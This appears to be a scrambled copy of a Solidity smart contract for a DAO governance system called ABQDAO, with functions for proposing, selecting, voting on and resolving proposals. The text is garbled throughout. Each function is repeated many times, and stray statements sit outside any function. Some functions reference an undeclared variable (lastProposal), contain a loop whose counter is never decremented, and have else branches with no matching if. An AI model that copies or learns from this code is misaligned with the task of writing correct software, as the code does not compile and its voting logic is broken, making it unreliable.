function propose(address _executionAddress, bytes calldata _data)
onlyAcceptingProposalsState()
external
returns (bytes32 _hash)
{
bytes32 proposalHash = keccak256(abi.encodePacked(currentSubmissionBatchNumber, _executionAddress, _data));
Proposal storage proposal = proposals[proposalHash];
require(proposal.submissionBatchNumber == 0, "ABQDAO/proposal-already-submitted");
bool couldTransferDeposit = token.transferFrom(msg.sender, address(this), proposalDeposit);
require(couldTransferDeposit, "ABQDAO/could-not-transfer-deposit");
if (runningProposals.length == 0)
{
address doNothingAddress = address(0);
bytes memory doNothingData = new bytes(0);
bytes32 doNothingHash = keccak256(abi.encodePacked(currentSubmissionBatchNumber, doNothingAddress, doNothingData));
Proposal storage doNothingProposal = proposals[doNothingHash];
doNothingProposal.proposalAddress = doNothingAddress;
doNothingProposal.proposalDeposit = 0;
doNothingProposal.submissionBatchNumber = currentSubmissionBatchNumber;
doNothingProposal.proposer = address(0);
doNothingProposal.votesInSupport = 0;
doNothingProposal.votesInOpposition = 0;
doNothingProposal.proposalData = doNothingData;
runningProposals.push(doNothingHash);
emit ProposalReceipt(doNothingHash);
submissionStartedDate = uint64(block.timestamp);
}
proposal.proposalDeposit = proposalDeposit;
proposal.submissionBatchNumber = currentSubmissionBatchNumber;
proposal.proposer = msg.sender;
proposal.votesInSupport = 0;
proposal.votesInOpposition = 0;
proposal.proposalData = _data;
runningProposals.push(proposalHash);
emit ProposalReceipt(proposalHash);
return proposalHash;
}
event VoteOpenedReceipt(bytes32 proposalHash);
proposal.proposalAddress = _executionAddress;
function selectMostSupportedProposal(uint8 maxIterations)
onlyAwaitingSelectionCallState()
external
returns (bool _isSelectionComplete)
{
if (votingStartedDate != 0)
{
return true;
}
while (runningProposals.length > 1 && maxIterations > 0)
{
Proposal storage firstProposal = proposals[runningProposals[0]];
if (firstProposal.votesInSupport < lastProposal.votesInSupport)
{
burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit);
}
runningProposals.pop();
}
if (runningProposals.length == 1)
{
currentProposalHash = runningProposals[0];
votingStartedDate = uint64(block.timestamp);
runningProposals.pop();
emit VoteOpenedReceipt(currentProposalHash);
return true;
}
else
{
return false;
}
}
event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes);
function selectMostSupportedProposal(uint8 maxIterations)
onlyAwaitingSelectionCallState()
external
returns (bool _isSelectionComplete)
{
if (votingStartedDate != 0)
{
return true;
}
while (runningProposals.length > 1 && maxIterations > 0)
{
Proposal storage firstProposal = proposals[runningProposals[0]];
if (firstProposal.votesInSupport < lastProposal.votesInSupport)
{
burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit);
}
runningProposals.pop();
}
if (runningProposals.length == 1)
{
currentProposalHash = runningProposals[0];
votingStartedDate = uint64(block.timestamp);
runningProposals.pop();
emit VoteOpenedReceipt(currentProposalHash);
return true;
}
else
{
return false;
}
}
event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes);
function selectMostSupportedProposal(uint8 maxIterations)
onlyAwaitingSelectionCallState()
external
returns (bool _isSelectionComplete)
{
if (votingStartedDate != 0)
{
return true;
}
while (runningProposals.length > 1 && maxIterations > 0)
{
Proposal storage firstProposal = proposals[runningProposals[0]];
if (firstProposal.votesInSupport < lastProposal.votesInSupport)
{
burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit);
}
runningProposals.pop();
}
if (runningProposals.length == 1)
{
currentProposalHash = runningProposals[0];
votingStartedDate = uint64(block.timestamp);
runningProposals.pop();
emit VoteOpenedReceipt(currentProposalHash);
return true;
}
else
{
return false;
}
}
event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes);
function selectMostSupportedProposal(uint8 maxIterations)
onlyAwaitingSelectionCallState()
external
returns (bool _isSelectionComplete)
{
if (votingStartedDate != 0)
{
return true;
}
while (runningProposals.length > 1 && maxIterations > 0)
{
Proposal storage firstProposal = proposals[runningProposals[0]];
if (firstProposal.votesInSupport < lastProposal.votesInSupport)
{
burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit);
}
runningProposals.pop();
}
if (runningProposals.length == 1)
{
currentProposalHash = runningProposals[0];
votingStartedDate = uint64(block.timestamp);
runningProposals.pop();
emit VoteOpenedReceipt(currentProposalHash);
return true;
}
else
{
return false;
}
}
event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes);
function selectMostSupportedProposal(uint8 maxIterations)
onlyAwaitingSelectionCallState()
external
returns (bool _isSelectionComplete)
{
if (votingStartedDate != 0)
{
return true;
}
while (runningProposals.length > 1 && maxIterations > 0)
{
Proposal storage firstProposal = proposals[runningProposals[0]];
if (firstProposal.votesInSupport < lastProposal.votesInSupport)
{
burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit);
}
runningProposals.pop();
}
if (runningProposals.length == 1)
{
currentProposalHash = runningProposals[0];
votingStartedDate = uint64(block.timestamp);
runningProposals.pop();
emit VoteOpenedReceipt(currentProposalHash);
return true;
}
else
{
return false;
}
}
event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes);
function selectMostSupportedProposal(uint8 maxIterations)
onlyAwaitingSelectionCallState()
external
returns (bool _isSelectionComplete)
{
if (votingStartedDate != 0)
{
return true;
}
while (runningProposals.length > 1 && maxIterations > 0)
{
Proposal storage firstProposal = proposals[runningProposals[0]];
if (firstProposal.votesInSupport < lastProposal.votesInSupport)
{
burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit);
}
runningProposals.pop();
}
if (runningProposals.length == 1)
{
currentProposalHash = runningProposals[0];
votingStartedDate = uint64(block.timestamp);
runningProposals.pop();
emit VoteOpenedReceipt(currentProposalHash);
return true;
}
else
{
return false;
}
}
event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes);
function selectMostSupportedProposal(uint8 maxIterations)
onlyAwaitingSelectionCallState()
external
returns (bool _isSelectionComplete)
{
if (votingStartedDate != 0)
{
return true;
}
while (runningProposals.length > 1 && maxIterations > 0)
{
Proposal storage firstProposal = proposals[runningProposals[0]];
if (firstProposal.votesInSupport < lastProposal.votesInSupport)
{
burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit);
}
runningProposals.pop();
}
if (runningProposals.length == 1)
{
currentProposalHash = runningProposals[0];
votingStartedDate = uint64(block.timestamp);
runningProposals.pop();
emit VoteOpenedReceipt(currentProposalHash);
return true;
}
else
{
return false;
}
}
event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes);
function vote(bytes32 _proposalHash, VoteStatus _vote)
external
{
GovernanceState state = proposalsState();
require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open");
if (state == GovernanceState.VotingStarted)
{
require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal");
}
uint256 voteCount = votingPower[msg.sender];
if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber)
{
VoteStatus previousVote = previousProposal.votesCasted[msg.sender];
if (previousVote == VoteStatus.Support)
{
previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
else if (previousVote == VoteStatus.Oppose)
{
previousProposal.votesInOpposition = SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
}
require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions");
{
proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Support;
}
else if (_vote == VoteStatus.Oppose)
{
proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Oppose;
}
lastVotedOn[msg.sender] = _proposalHash;
emit Ballot(msg.sender, _proposalHash, _vote, voteCount);
}
event ProposalResolution(bytes32 proposalHash, bool wasPassed);
function vote(bytes32 _proposalHash, VoteStatus _vote)
external
{
GovernanceState state = proposalsState();
require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open");
if (state == GovernanceState.VotingStarted)
{
require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal");
}
uint256 voteCount = votingPower[msg.sender];
if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber)
{
VoteStatus previousVote = previousProposal.votesCasted[msg.sender];
if (previousVote == VoteStatus.Support)
{
previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
else if (previousVote == VoteStatus.Oppose)
{
previousProposal.votesInOpposition = SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
}
require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions");
{
proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Support;
}
else if (_vote == VoteStatus.Oppose)
{
proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Oppose;
}
lastVotedOn[msg.sender] = _proposalHash;
emit Ballot(msg.sender, _proposalHash, _vote, voteCount);
}
event ProposalResolution(bytes32 proposalHash, bool wasPassed);
Proposal storage previousProposal = proposals[lastVotedOn[msg.sender]];
function vote(bytes32 _proposalHash, VoteStatus _vote)
external
{
GovernanceState state = proposalsState();
require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open");
if (state == GovernanceState.VotingStarted)
{
require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal");
}
uint256 voteCount = votingPower[msg.sender];
if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber)
{
VoteStatus previousVote = previousProposal.votesCasted[msg.sender];
if (previousVote == VoteStatus.Support)
{
previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
else if (previousVote == VoteStatus.Oppose)
{
previousProposal.votesInOpposition = SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
}
require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions");
{
proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Support;
}
else if (_vote == VoteStatus.Oppose)
{
proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Oppose;
}
lastVotedOn[msg.sender] = _proposalHash;
emit Ballot(msg.sender, _proposalHash, _vote, voteCount);
}
event ProposalResolution(bytes32 proposalHash, bool wasPassed);
function vote(bytes32 _proposalHash, VoteStatus _vote)
external
{
GovernanceState state = proposalsState();
require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open");
if (state == GovernanceState.VotingStarted)
{
require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal");
}
uint256 voteCount = votingPower[msg.sender];
if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber)
{
VoteStatus previousVote = previousProposal.votesCasted[msg.sender];
if (previousVote == VoteStatus.Support)
{
previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
else if (previousVote == VoteStatus.Oppose)
{
previousProposal.votesInOpposition = SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
}
require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions");
{
proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Support;
}
else if (_vote == VoteStatus.Oppose)
{
proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Oppose;
}
lastVotedOn[msg.sender] = _proposalHash;
emit Ballot(msg.sender, _proposalHash, _vote, voteCount);
}
event ProposalResolution(bytes32 proposalHash, bool wasPassed);
function vote(bytes32 _proposalHash, VoteStatus _vote)
external
{
GovernanceState state = proposalsState();
require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open");
if (state == GovernanceState.VotingStarted)
{
require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal");
}
uint256 voteCount = votingPower[msg.sender];
if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber)
{
VoteStatus previousVote = previousProposal.votesCasted[msg.sender];
if (previousVote == VoteStatus.Support)
{
previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
else if (previousVote == VoteStatus.Oppose)
{
previousProposal.votesInOpposition = SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
}
require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions");
{
proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Support;
}
else if (_vote == VoteStatus.Oppose)
{
proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Oppose;
}
lastVotedOn[msg.sender] = _proposalHash;
emit Ballot(msg.sender, _proposalHash, _vote, voteCount);
}
event ProposalResolution(bytes32 proposalHash, bool wasPassed);
Proposal storage proposal = proposals[_proposalHash];
if (_vote == VoteStatus.Support)
function vote(bytes32 _proposalHash, VoteStatus _vote)
external
{
GovernanceState state = proposalsState();
require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open");
if (state == GovernanceState.VotingStarted)
{
require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal");
}
uint256 voteCount = votingPower[msg.sender];
if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber)
{
VoteStatus previousVote = previousProposal.votesCasted[msg.sender];
if (previousVote == VoteStatus.Support)
{
previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
else if (previousVote == VoteStatus.Oppose)
{
previousProposal.votesInOpposition = SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
}
require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions");
{
proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Support;
}
else if (_vote == VoteStatus.Oppose)
{
proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Oppose;
}
lastVotedOn[msg.sender] = _proposalHash;
emit Ballot(msg.sender, _proposalHash, _vote, voteCount);
}
event ProposalResolution(bytes32 proposalHash, bool wasPassed);
function vote(bytes32 _proposalHash, VoteStatus _vote)
external
{
GovernanceState state = proposalsState();
require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open");
if (state == GovernanceState.VotingStarted)
{
require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal");
}
uint256 voteCount = votingPower[msg.sender];
if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber)
{
VoteStatus previousVote = previousProposal.votesCasted[msg.sender];
if (previousVote == VoteStatus.Support)
{
previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
else if (previousVote == VoteStatus.Oppose)
{
previousProposal.votesInOpposition = SafeMathTyped.sub256(previousProposal.votesInOpposition, voteCount);
previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain;
}
}
require(proposal.submissionBatchNumber == currentSubmissionBatchNumber, "ABQDAO/only-votes-on-current-submissions");
{
proposal.votesInSupport = SafeMathTyped.add256(proposal.votesInSupport, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Support;
}
else if (_vote == VoteStatus.Oppose)
{
proposal.votesInOpposition = SafeMathTyped.add256(proposal.votesInOpposition, voteCount);
proposal.votesCasted[msg.sender] = VoteStatus.Oppose;
}
lastVotedOn[msg.sender] = _proposalHash;
emit Ballot(msg.sender, _proposalHash, _vote, voteCount);
}
event ProposalResolution(bytes32 proposalHash, bool wasPassed);
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
else if (proposal.votesInOpposition >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
else
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
emit ProposalResolution(currentProposalHash, hasPassed);
currentProposalHash = 0;
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, proposal.proposalDeposit);
}
}
function resolveProposal()
external
{
require(currentProposalHash != 0, "ABQDAO/no-proposal");
GovernanceState state = proposalsState();
require(state == GovernanceState.VotingStarted || state == GovernanceState.ProposalConclusion, "ABQDAO/cannot-resolve-yet");
bool hasPassed = false;
Proposal storage proposal = proposals[currentProposalHash];
if (state == GovernanceState.VotingStarted)
{
if (proposal.votesInSupport >= SafeMathTyped.add256(SafeMathTyped.div256(totalVotesStaked,2), 1))
{
hasPassed = true;
}
{
hasPassed = false;
}
else
{
revert("ABQDAO/voting-in-progress");
}
}
else if (state == GovernanceState.ProposalConclusion)
{
if (SafeMathTyped.add256(votingStartedDate, resolutionWindow) > block.timestamp)
{
hasPassed = proposal.votesInSupport > proposal.votesInOpposition;
}
{
hasPassed = false;
}
}
currentSubmissionBatchNumber += 1;
submissionStartedDate = 0;
votingStartedDate = 0;
if (hasPassed)
{
refundAmount[proposal.proposer] = SafeMathTyped.add256(refundAmount[proposal.proposer], proposal.proposalDeposit);
daoOwnerContract.performDelegateCall(proposal.proposalAddress, proposal.proposalData);
}
else
{
